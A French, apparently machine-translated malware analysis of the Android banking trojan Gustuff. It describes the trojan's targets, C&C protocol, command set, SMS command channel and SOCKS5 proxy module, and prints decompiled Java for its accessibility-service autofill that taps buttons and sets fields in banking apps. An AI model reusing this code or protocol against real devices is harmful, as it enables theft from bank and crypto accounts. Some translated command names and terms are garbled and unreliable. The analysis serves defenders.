Comment le cheval de Troie Android Gustuff écume la crème (fiat et crypto) de vos comptes

Comment le cheval de Troie Android Gustuff écume la crème (fiat et crypto) de vos comptes

Juste l'autre jour, Groupe-IB signalé sur l'activité du cheval de Troie mobile Android Gustuff. Il fonctionne exclusivement sur les marchés internationaux, attaquant les clients des 100 plus grandes banques étrangères, les utilisateurs de portefeuilles cryptographiques mobiles 32, ainsi que les grandes ressources de commerce électronique. Mais le développeur de Gustuff est un cybercriminel russophone sous le surnom de Bestoffer. Jusqu’à récemment, il qualifiait son cheval de Troie de « produit sérieux destiné aux personnes possédant des connaissances et de l’expérience ».

Spécialiste en analyse de codes malveillants chez Group-IB Ivan Pisarev dans ses recherches, il explique en détail le fonctionnement de Gustuff et ses dangers.

Qui Gustuff recherche-t-il ?

Gustuff appartient à une nouvelle génération de malware doté de fonctions entièrement automatisées. Selon le développeur, le cheval de Troie est devenu une nouvelle version améliorée du malware AndyBot, qui attaque depuis novembre 2017 les téléphones Android et vole de l'argent via des formulaires Web de phishing se faisant passer pour des applications mobiles de banques et de systèmes de paiement internationaux bien connus. Bestoffer a indiqué que le prix de location du Gustuff Bot était de 800 $ par mois.

L'analyse de l'échantillon Gustuff a montré que le cheval de Troie cible potentiellement les clients utilisant les applications mobiles des plus grandes banques, telles que Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ainsi que les portefeuilles cryptographiques. Portefeuille Bitcoin, BitPay, Cryptopay, Coinbase, etc.

Créé à l'origine comme un cheval de Troie bancaire classique, Gustuff a considérablement élargi dans sa version actuelle la liste des cibles potentielles d'attaque. Outre les applications Android destinées aux banques, aux sociétés de technologie financière et aux services de cryptographie, Gustuff s'adresse aux utilisateurs d'applications de marché, de boutiques en ligne, de systèmes de paiement et de messageries instantanées. En particulier, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut et autres.

Point d’entrée : calcul d’une infection de masse

Gustuff se caractérise par le vecteur « classique » de pénétration dans les smartphones Android via des envois SMS avec des liens vers des APK. Lorsqu'un appareil Android est infecté par un cheval de Troie sur commande du serveur, Gustuff peut se propager via la base de données de contacts du téléphone infecté ou via la base de données du serveur. La fonctionnalité de Gustuff est conçue pour une infection massive et une capitalisation maximale des activités de ses opérateurs - elle dispose d'une fonction unique de « remplissage automatique » dans les applications bancaires mobiles légitimes et les portefeuilles cryptographiques, ce qui vous permet d'accélérer et d'étendre le vol d'argent.

Une étude du cheval de Troie a montré que la fonction de remplissage automatique y était implémentée à l'aide du service d'accessibilité, un service destiné aux personnes handicapées. Gustuff n'est pas le premier cheval de Troie à contourner avec succès la protection contre les interactions avec les éléments de fenêtre d'autres applications utilisant ce service Android. Cependant, l'utilisation du service d'accessibilité en combinaison avec un remplisseur de voiture est encore assez rare.

Après téléchargement sur le téléphone de la victime, Gustuff, à l'aide du service d'accessibilité, est capable d'interagir avec les éléments de fenêtre d'autres applications (bancaires, crypto-monnaie, ainsi que des applications d'achats en ligne, de messagerie, etc.), en effectuant les actions nécessaires aux attaquants. . Par exemple, sur commande du serveur, un cheval de Troie peut appuyer sur des boutons et modifier les valeurs des champs de texte dans les applications bancaires. L'utilisation du mécanisme du service d'accessibilité permet au cheval de Troie de contourner les mécanismes de sécurité utilisés par les banques pour contrer les chevaux de Troie mobiles de génération précédente, ainsi que les changements de politique de sécurité mis en œuvre par Google dans les nouvelles versions du système d'exploitation Android. Ainsi, Gustuff « sait comment » désactiver la protection Google Protect : selon l'auteur, cette fonction fonctionne dans 70 % des cas.

Comment le cheval de Troie Android Gustuff écume la crème (fiat et crypto) de vos comptes

Gustuff peut également afficher de fausses notifications PUSH avec des icônes d'applications mobiles légitimes. L'utilisateur clique sur la notification PUSH et voit une fenêtre de phishing téléchargée depuis le serveur, où il saisit les données demandées de la carte bancaire ou du portefeuille crypto. Dans un autre scénario Gustuff, l'application au nom de laquelle la notification PUSH a été affichée est ouverte. Dans ce cas, le malware, sur commande du serveur via le Service d'Accessibilité, peut remplir les champs du formulaire d'une application bancaire pour une transaction frauduleuse.

Les fonctionnalités de Gustuff incluent également l'envoi d'informations sur un appareil infecté au serveur, la possibilité de lire/envoyer des messages SMS, l'envoi de requêtes USSD, le lancement du proxy SOCKS5, le suivi d'un lien, l'envoi de fichiers (y compris des numérisations de photos de documents, des captures d'écran, des photographies) au serveur, réinitialisez l'appareil aux paramètres d'usine.

Analyse des logiciels malveillants

Avant d'installer une application malveillante, l'OS Android affiche à l'utilisateur une fenêtre contenant une liste de droits demandés par Gustuff :

Comment le cheval de Troie Android Gustuff écume la crème (fiat et crypto) de vos comptes
L'application ne sera installée qu'après avoir reçu le consentement de l'utilisateur. Après avoir lancé l'application, le cheval de Troie affichera à l'utilisateur une fenêtre :

Comment le cheval de Troie Android Gustuff écume la crème (fiat et crypto) de vos comptes
Après quoi, il supprimera son icône.

Gustuff est emballé, selon l'auteur, par un emballeur de FTT. Après le démarrage, l'application contacte périodiquement le serveur CnC pour recevoir des commandes. Plusieurs fichiers que nous avons examinés utilisaient une adresse IP comme serveur de contrôle 88.99.171[.]105 (nous le désignerons ci-après par <%CnC%>).

Après le lancement, le programme commence à envoyer des messages au serveur http://<%CnC%>/api/v1/get.php.

La réponse devrait être JSON au format suivant :

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Chaque fois que l'on accède à l'application, elle envoie des informations sur l'appareil infecté. Le format du message est indiqué ci-dessous. Il est à noter que les champs plein, supplémentaire, applications и autorisation – facultatif et sera envoyé uniquement en cas de commande de requête de CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Stockage des données de configuration

Gustuff stocke les informations opérationnelles importantes dans un fichier de préférences. Le nom du fichier, ainsi que les noms des paramètres qu'il contient, sont le résultat du calcul de la somme MD5 à partir de la chaîne 15413090667214.6.1<%name%><%nom%> — nom-valeur initial. Interprétation Python de la fonction de génération de nom :

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Dans ce qui suit, nous le désignerons par générateur de nom (entrée).
Le premier nom du fichier est donc : générateur de nom("API_SERVER_LIST"), il contient des valeurs portant les noms suivants :

Nom de variable Valeur
générateur de nom("API_SERVER_LIST") Contient une liste d'adresses CnC sous forme de tableau.
nomGénérateur("API_SERVER_URL") Contient l'adresse CnC.
générateur de nom("SMS_UPLOAD") Le drapeau est défini par défaut. Si le drapeau est activé, envoie des messages SMS à CnC.
générateur de nom("SMS_ROOT_NUMBER") Numéro de téléphone auquel seront envoyés les SMS reçus par l’appareil infecté. La valeur par défaut est nulle.
générateur de nom("SMS_ROOT_NUMBER_RESEND") Le drapeau est effacé par défaut. S'il est installé, lorsqu'un appareil infecté reçoit un SMS, celui-ci sera envoyé au numéro racine.
nomGénérateur("DEFAULT_APP_SMS") Le drapeau est effacé par défaut. Si cet indicateur est défini, l'application traitera les messages SMS entrants.
nomGénérateur("DEFAULT_ADMIN") Le drapeau est effacé par défaut. Si l'indicateur est défini, l'application dispose de droits d'administrateur.
nomGénérateur("DEFAULT_ACCESSIBILITY") Le drapeau est effacé par défaut. Si l'indicateur est défini, un service utilisant le service d'accessibilité est en cours d'exécution.
générateur de nom("APPS_CONFIG") Objet JSON qui contient une liste d'actions qui doivent être effectuées lorsqu'un événement d'accessibilité associé à une application spécifique est déclenché.
nomGénérateur("APPS_INSTALLED") Stocke une liste des applications installées sur l'appareil.
nomGenerator("IS_FIST_RUN") Le drapeau est réinitialisé au premier démarrage.
générateur de nom("UNIQUE_ID") Contient un identifiant unique. Généré lorsque le bot est lancé pour la première fois.

Module de traitement des commandes du serveur

L'application stocke les adresses des serveurs CnC sous la forme d'un tableau codé par Base85 lignes. La liste des serveurs CnC pourra être modifiée dès réception de la commande appropriée, auquel cas les adresses seront stockées dans un fichier de préférences.

En réponse à la requête, le serveur envoie une commande à l'application. Il est à noter que les commandes et paramètres sont présentés au format JSON. L'application peut traiter les commandes suivantes :

Équipe description
avantDébut Commencez à envoyer les messages SMS reçus par l'appareil infecté au serveur CnC.
avantArrêter Arrêtez d'envoyer les messages SMS reçus par l'appareil infecté au serveur CnC.
ussdExécuter Exécutez la demande USSD. Le numéro auquel vous devez faire une demande USSD se trouve dans le champ JSON « numéro ».
envoyer un SMS Envoyez un message SMS (si nécessaire, le message est « divisé » en plusieurs parties). En paramètre, la commande prend un objet JSON contenant les champs « to » - le numéro de destination et « body » - le corps du message.
envoyerSmsAb Envoyez des messages SMS (si nécessaire, le message est « divisé » en plusieurs parties) à toutes les personnes figurant dans la liste de contacts de l'appareil infecté. L'intervalle entre l'envoi des messages est de 10 secondes. Le corps du message est dans le champ JSON "body"
envoyerSmsMass Envoyez des messages SMS (si nécessaire, le message est « divisé » en parties) aux contacts spécifiés dans les paramètres de la commande. L'intervalle entre l'envoi des messages est de 10 secondes. En paramètre, la commande prend un tableau JSON (le champ « sms ») dont les éléments contiennent les champs « to » - le numéro de destination et « body » - le corps du message.
changementServeur Cette commande peut prendre une valeur avec la clé "url" comme paramètre - alors le bot changera la valeur de nameGenerator ("SERVER_URL"), ou "array" - puis le bot écrira le tableau dans nameGenerator ("API_SERVER_LIST") Ainsi, l'application modifie l'adresse des serveurs CnC.
Numéro d'administrateur La commande est conçue pour fonctionner avec un numéro racine. La commande accepte un objet JSON avec les paramètres suivants : "number" — change nameGenerator("ROOT_NUMBER") par la valeur reçue, "resend" - change nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - envoie à nameGenerator("ROOT_NUMBER" ) identifiant unique.
information sur la mise à jour Envoyez des informations sur l'appareil infecté au serveur.
effacer les données La commande est destinée à supprimer les données utilisateur. Selon le nom sous lequel l'application a été lancée, soit les données sont complètement effacées lors du redémarrage de l'appareil (utilisateur principal), soit seules les données utilisateur sont supprimées (utilisateur secondaire).
chaussettesDébut Lancez le module Proxy. Le fonctionnement du module est décrit dans une section distincte.
chaussettesArrêter Arrêtez le module Proxy.
ouvrir le lien Suivez le lien. Le lien se trouve dans le paramètre JSON sous la clé « url ». « android.intent.action.VIEW » est utilisé pour ouvrir le lien.
téléchargerTousSms Envoyez tous les messages SMS reçus par l'appareil au serveur.
téléchargerTouteslesPhotos Envoyez des images d’un appareil infecté vers une URL. L'URL vient en paramètre.
téléverser un fichier Envoyez un fichier à une URL à partir d’un appareil infecté. L'URL vient en paramètre.
télécharger des numéros de téléphone Envoyez les numéros de téléphone de votre liste de contacts au serveur. Si une valeur d'objet JSON avec la clé « ab » est reçue en paramètre, l'application reçoit une liste de contacts du répertoire téléphonique. Si un objet JSON avec la clé « sms » est reçu en paramètre, l'application lit la liste des contacts des expéditeurs de messages SMS.
changerArchive L'application télécharge le fichier à partir de l'adresse fournie en paramètre à l'aide de la touche « url ». Le fichier téléchargé est enregistré sous le nom « archive.zip ». L'application décompressera ensuite le fichier, en utilisant éventuellement le mot de passe d'archive « b5jXh37gxgHBrZhQ4j3D ». Les fichiers décompressés sont enregistrés dans le répertoire [stockage externe]/hgps. Dans ce répertoire, l'application stocke les faux Web (décrits ci-dessous).
actes La commande est conçue pour fonctionner avec Action Service, qui est décrit dans une section distincte.
tester Ne rien faire.
download La commande est destinée à télécharger un fichier depuis un serveur distant et à l'enregistrer dans le répertoire « Téléchargements ». L'URL et le nom du fichier sont fournis en paramètre, champs dans l'objet paramètre JSON, respectivement : « url » et « fileName ».
supprimez Supprime un fichier du répertoire "Téléchargements". Le nom du fichier vient dans un paramètre JSON avec la clé « fileName ». Le nom de fichier standard est « tmp.apk ».
déclaration Afficher une notification avec les textes de description et de titre définis par le serveur de gestion.

Format de commande déclaration:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

La notification générée par le fichier en cours d'investigation semble identique aux notifications générées par l'application spécifiée dans le champ appli. Si la valeur du champ ouvrir application — Vrai, lorsqu'une notification est ouverte, l'application spécifiée dans le champ est lancée appli. Si la valeur du champ ouvrir application — Faux donc :

  • Une fenêtre de phishing s'ouvre, dont le contenu est téléchargé depuis le répertoire <%stockage externe%>/hgps/<%filename%>
  • Une fenêtre de phishing s'ouvre dont le contenu est téléchargé depuis le serveur <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Une fenêtre de phishing s'ouvre, déguisée en Google Play Card, avec la possibilité de saisir les détails de la carte.

L'application envoie le résultat de n'importe quelle commande à <%CnC%>set_state.php en tant qu'objet JSON au format suivant :

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
La liste des commandes que les processus d'application incluent action. Lorsqu'une commande est reçue, le module de traitement de commande accède à ce service pour exécuter la commande étendue. Le service accepte un objet JSON comme paramètre. Le service peut exécuter les commandes suivantes :

1. PARAMS_ACTION — lors de la réception d'une telle commande, le service reçoit d'abord du paramètre JSON la valeur de la clé Type, qui peut être la suivante :

  • serviceInfo – la sous-commande récupère la valeur par clé du paramètre JSON inclureNotImportant. Si l'indicateur est True, l'application définit l'indicateur FLAG_ISOLATED_PROCESS à un service utilisant le service d'accessibilité. De cette façon, le service sera lancé dans un processus distinct.
  • racine — recevoir et envoyer au serveur des informations sur la fenêtre actuellement active. L'application obtient des informations à l'aide de la classe AccessibilityNodeInfo.
  • admin — demander les droits d'administrateur.
  • retarder — suspend le ActionsService pendant le nombre de millisecondes spécifié dans le paramètre de la clé « data ».
  • fenêtres — envoyer une liste des fenêtres visibles par l'utilisateur.
  • installer — installez l'application sur l'appareil infecté. Le nom du package d'archives se trouve dans la clé « fileName ». L'archive elle-même se trouve dans le répertoire Téléchargements.
  • de défis – la sous-commande est destinée à naviguer depuis la fenêtre courante :
    • dans le menu Paramètres rapides
    • il y a
    • maison
    • aux notifications
    • à la fenêtre des applications récemment ouvertes

  • lancer - lancez l'application. Le nom de l'application est fourni en paramètre par clé données.
  • sons — changez le mode sonore en silence.
  • ouvrir — allume le rétroéclairage de l'écran et du clavier à pleine luminosité. L'application effectue cette action à l'aide de WakeLock, en spécifiant la chaîne [Application lable]:INFO comme balise
  • permissionOverlay — la fonction n'est pas implémentée (la réponse à l'exécution de la commande est {"message":"Not support"} ou {"message":"low sdk"})
  • geste — la fonction n'est pas implémentée (la réponse à l'exécution de la commande est {"message":"Not support"}ou {"message":"Low API"})
  • autorisations — cette commande est nécessaire pour demander des autorisations pour l'application. Cependant, la fonction de requête n’est pas implémentée, la commande n’a donc aucun sens. La liste des droits demandés se présente sous forme de tableau JSON avec la clé « autorisations ». Liste standard :
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • ouvert — afficher une fenêtre de phishing. En fonction du paramètre provenant du serveur, l'application peut afficher les fenêtres de phishing suivantes :
    • Afficher une fenêtre de phishing dont le contenu est écrit dans un fichier dans un répertoire <%répertoire externe%>/hgps/<%param_filename%>. Le résultat de l'interaction de l'utilisateur avec la fenêtre sera envoyé à <%CnC%>/records.php
    • Afficher une fenêtre de phishing dont le contenu est préchargé à partir de l'adresse <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Le résultat de l'interaction de l'utilisateur avec la fenêtre sera envoyé à <%CnC%>/records.php
    • Affichez une fenêtre de phishing déguisée en Google Play Card.

  • Interactif — la commande est conçue pour interagir avec les éléments de fenêtre d'autres applications utilisant AcessibilityService. Un service spécial a été implémenté dans le programme pour l'interaction. L'application étudiée peut interagir avec Windows :
    • Actuellement actif. Dans ce cas, le paramètre contient l'identifiant ou le texte (nom) de l'objet avec lequel vous devez interagir.
    • Visible par l'utilisateur au moment de l'exécution de la commande. L'application sélectionne les fenêtres par identifiant.

    Avoir reçu des objets AccessibilitéNodeInfo Pour les éléments de fenêtre qui nous intéressent, l'application, en fonction des paramètres, peut effectuer les actions suivantes :

    • focus - définit le focus sur l'objet.
    • clic — cliquez sur un objet.
    • actionId — effectue une action par ID.
    • setText — change le texte d'un objet. Changer le texte est possible de deux manières : effectuer une action ACTION_SET_TEXT (si la version Android de l'appareil infecté est inférieure ou égale à SUCETTE), ou en plaçant une chaîne dans le presse-papiers et en la collant dans un objet (pour les anciennes versions). Cette commande peut être utilisée pour modifier des données dans une application bancaire.

2. PARAMS_ACTIONS - pareil que PARAMS_ACTION, seul un tableau de commandes JSON arrive.

Il semble que beaucoup de gens seront intéressés par la fonction d'interaction avec les éléments de fenêtre d'une autre application. Voici comment cette fonctionnalité est implémentée dans Gustuff :

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Fonction de remplacement de texte :

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Ainsi, avec la bonne configuration du serveur de contrôle, Gustuff est capable de remplir les champs de texte de l'application bancaire et de cliquer sur les boutons nécessaires pour finaliser la transaction. Le cheval de Troie n'a même pas besoin de se connecter à l'application : il suffit d'envoyer une commande pour afficher une notification PUSH puis d'ouvrir l'application bancaire précédemment installée. L'utilisateur s'authentifiera, après quoi Gustuff pourra remplir la voiture.

Module de traitement des messages SMS

L'application installe un gestionnaire d'événements pour que l'appareil infecté accepte les messages SMS. L'application étudiée peut recevoir des commandes de l'opérateur, qui viennent dans le corps du message SMS. Les commandes sont au format :

7!5=<%Commande codée en Base64%>

L'application recherche la chaîne dans tous les messages SMS entrants 7!5=, lorsqu'une chaîne est détectée, il décode la chaîne de Base64 au décalage 4 et exécute la commande. Les commandes sont similaires à celles de CnC. Le résultat de l'exécution est envoyé au même numéro d'où provient la commande. Format de réponse :

7*5=<%Encodage Base64 de la « commande result_code »%>

En option, l'application peut envoyer tous les messages reçus au numéro racine. Pour ce faire, le numéro racine doit être spécifié dans le fichier de préférences et l'indicateur de redirection des messages doit être défini. Un message SMS est envoyé au numéro de l’attaquant au format :

<%De numéro%> - <%Heure, format : jj/MM/aaaa HH:mm:ss%> <%Corps du SMS%>

De plus, en option, l'application peut envoyer des messages à CnC. Le message SMS est envoyé au serveur au format JSON :

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Si le drapeau est défini nomGénérateur("DEFAULT_APP_SMS") – l'application arrête le traitement du message SMS et efface la liste des messages entrants.

Module proxy

L'application à l'étude contient un module Backconnect Proxy (ci-après dénommé module Proxy), qui possède une classe distincte qui comprend des champs statiques avec configuration. Les données de configuration sont stockées dans l'échantillon sous forme claire :

Comment le cheval de Troie Android Gustuff écume la crème (fiat et crypto) de vos comptes

Toutes les actions effectuées par le module Proxy sont enregistrées dans des fichiers. Pour ce faire, l'application dans le stockage externe crée un répertoire appelé « logs » (le champ ProxyConfigClass.logsDir dans la classe de configuration), dans lequel les fichiers journaux sont stockés. La journalisation s'effectue dans des fichiers portant les noms :

  1. main.txt – le travail de la classe appelée CommandServer est enregistré dans ce fichier. Dans ce qui suit, la journalisation de la chaîne str dans ce fichier sera notée mainLog(str).
  2. session-<%id%>.txt — ce fichier enregistre les données de journal associées à une session proxy spécifique. Dans ce qui suit, la journalisation de la chaîne str dans ce fichier sera notée sessionLog (str).
  3. serveur.txt – ce fichier est utilisé pour enregistrer toutes les données écrites dans les fichiers décrits ci-dessus.

Format des données du journal :

<%Date%> [Thread[<%thread id%>], id[]] : chaîne de journal

Les exceptions qui se produisent lors du fonctionnement du module Proxy sont également enregistrées dans un fichier. Pour cela, l'application génère un objet JSON au format suivant :

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Ensuite, il le convertit en une représentation sous forme de chaîne et l'enregistre.

Le module Proxy est lancé après réception de la commande correspondante. Lorsqu'une commande de lancement du module Proxy est reçue, l'application démarre un service appelé Service principal, qui est responsable de la gestion du fonctionnement du module Proxy - de son démarrage et de son arrêt.

Étapes de démarrage du service :

1. Démarre une minuterie qui s'exécute une fois par minute et vérifie l'activité du module Proxy. Si le module n'est pas actif, il le démarre.
Aussi lorsque l'événement est déclenché android.net.conn.CONNECTIVITY_CHANGE Le module Proxy est lancé.

2. L'application crée un wake-lock avec le paramètre PARTIAL_WAKE_LOCK et le capture. Cela empêche le processeur de l'appareil de passer en mode veille.

3. Lance la classe de traitement des commandes du module Proxy en enregistrant d'abord la ligne mainLog("démarrer le serveur") и

Serveur::start() hôte[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

proxy_cnc, command_port et proxy_port – paramètres obtenus à partir de la configuration du serveur proxy.

La classe de traitement des commandes s'appelle CommandeConnexion. Immédiatement après le démarrage, effectue les actions suivantes :

4. Se connecte à ProxyConfigClass.host: ProxyConfigClass.commandPort et y envoie des données sur l'appareil infecté au format JSON :

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Où:

  • id – identifiant, essaie d'obtenir une valeur avec le champ « id » du fichier de préférences partagées nommé « x ». Si cette valeur n'a pas pu être obtenue, il en génère une nouvelle. Ainsi, le module Proxy possède son propre identifiant, qui est généré de la même manière que le Bot ID.
  • imei — IMEI de l'appareil. Si une erreur s'est produite lors du processus d'obtention de la valeur, un message texte d'erreur sera écrit à la place de ce champ.
  • imsi — Identité internationale d'abonné mobile de l'appareil. Si une erreur s'est produite lors du processus d'obtention de la valeur, un message texte d'erreur sera écrit à la place de ce champ.
  • modèle — Le nom visible par l'utilisateur final pour le produit final.
  • fabricant — Le fabricant du produit/matériel (Build.MANUFACTURER).
  • androidVersion - une chaîne au format "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • pays – emplacement actuel de l’appareil.
  • PartnerId est une chaîne vide.
  • packageName – nom du package.
  • networkType — type de connexion réseau actuelle (exemple : « WIFI », « MOBILE »). En cas d'erreur, renvoie null.
  • hasGsmSupport – vrai – si le téléphone prend en charge le GSM, sinon faux.
  • simReady – État de la carte SIM.
  • simCountry - Code pays ISO (basé sur le fournisseur de la carte SIM).
  • networkOperator — nom de l'opérateur. Si une erreur s'est produite lors du processus d'obtention de la valeur, un message texte d'erreur sera écrit à la place de ce champ.
  • simOperator — Le nom du fournisseur de services (SPN). Si une erreur s'est produite lors du processus d'obtention de la valeur, un message texte d'erreur sera écrit à la place de ce champ.
  • version - ce champ est stocké dans la classe de configuration ; pour les versions testées du bot, il était égal à « 1.6 ».

5. Passe en mode d'attente des commandes du serveur. Les commandes du serveur se présentent au format :

  • 0 décalage – commande
  • 1 décalage – identifiant de session
  • 2 décalage – longueur
  • 4 décalage - données

Lorsqu'une commande arrive, l'application enregistre :
mainLog("En-tête { sessionId<%id%>], type[<%command%>], longueur[<%length%>] }")

Les commandes suivantes depuis le serveur sont possibles :

Nom Command Données Description
identifiant de connexion 0 ID de connexion Créer une nouvelle connexion
DORMIR 3 Temps Suspendre le module Proxy
PING PONG 4 - Envoyer un message PONG

Un message PONG se compose de 4 octets et ressemble à ceci : Assistance .

Lorsque la commande connectionId est reçue (pour créer une nouvelle connexion) CommandeConnexion crée une instance d'une classe Connexion proxy.

  • Deux classes participent au proxy : Connexion proxy и fin. Lors de la création d'une classe Connexion proxy connexion à l'adresse ProxyConfigClass.host: ProxyConfigClass.proxyPort et en passant l'objet JSON :

 {
    "id":<%connectionId%>
}

En réponse, le serveur envoie un message SOCKS5 qui contient l'adresse du serveur distant avec lequel la connexion doit être établie. L'interaction avec ce serveur se produit via la classe fin. La configuration de la connexion peut être schématiquement représentée comme suit :

Comment le cheval de Troie Android Gustuff écume la crème (fiat et crypto) de vos comptes

Interactions réseau

Pour empêcher l'analyse du trafic par les renifleurs de réseau, l'interaction entre le serveur CnC et l'application peut être protégée à l'aide du protocole SSL. Toutes les données transmises depuis et vers le serveur sont présentées au format JSON. L'application exécute les requêtes suivantes pendant le fonctionnement :

  • http://<%CnC%>/api/v1/set_state.php — le résultat de l'exécution de la commande.
  • http://<%CnC%>/api/v1/get.php - recevoir une commande.
  • http://<%CnC%>/api/v1/load_sms.php — télécharger des messages SMS à partir d'un appareil infecté.
  • http://<%CnC%>/api/v1/load_ab.php — télécharger une liste de contacts à partir d'un appareil infecté.
  • http://<%CnC%>/api/v1/aevents.php – la demande est faite lors de la mise à jour des paramètres situés dans le fichier de préférences.
  • http://<%CnC%>/api/v1/set_card.php — télécharger des données obtenues à l'aide d'une fenêtre de phishing se faisant passer pour Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – télécharger les données du journal.
  • http://<%CnC%>/api/v1/records.php – télécharger des données obtenues via des fenêtres de phishing.
  • http://<%CnC%>/api/v1/set_error.php – notification d'une erreur.

Recommandations

Afin de protéger leurs clients contre la menace des chevaux de Troie mobiles, les entreprises doivent utiliser des solutions complètes qui leur permettent de surveiller et de prévenir les activités malveillantes sans installer de logiciels supplémentaires sur les appareils des utilisateurs.

Pour ce faire, les méthodes de signature permettant de détecter les chevaux de Troie mobiles doivent être renforcées par des technologies permettant d'analyser le comportement du client et de l'application elle-même. La protection devrait également inclure une fonction d'identification des appareils grâce à la technologie des empreintes digitales, qui permettra de comprendre quand un compte est utilisé à partir d'un appareil atypique et est déjà tombé entre les mains d'un fraudeur.

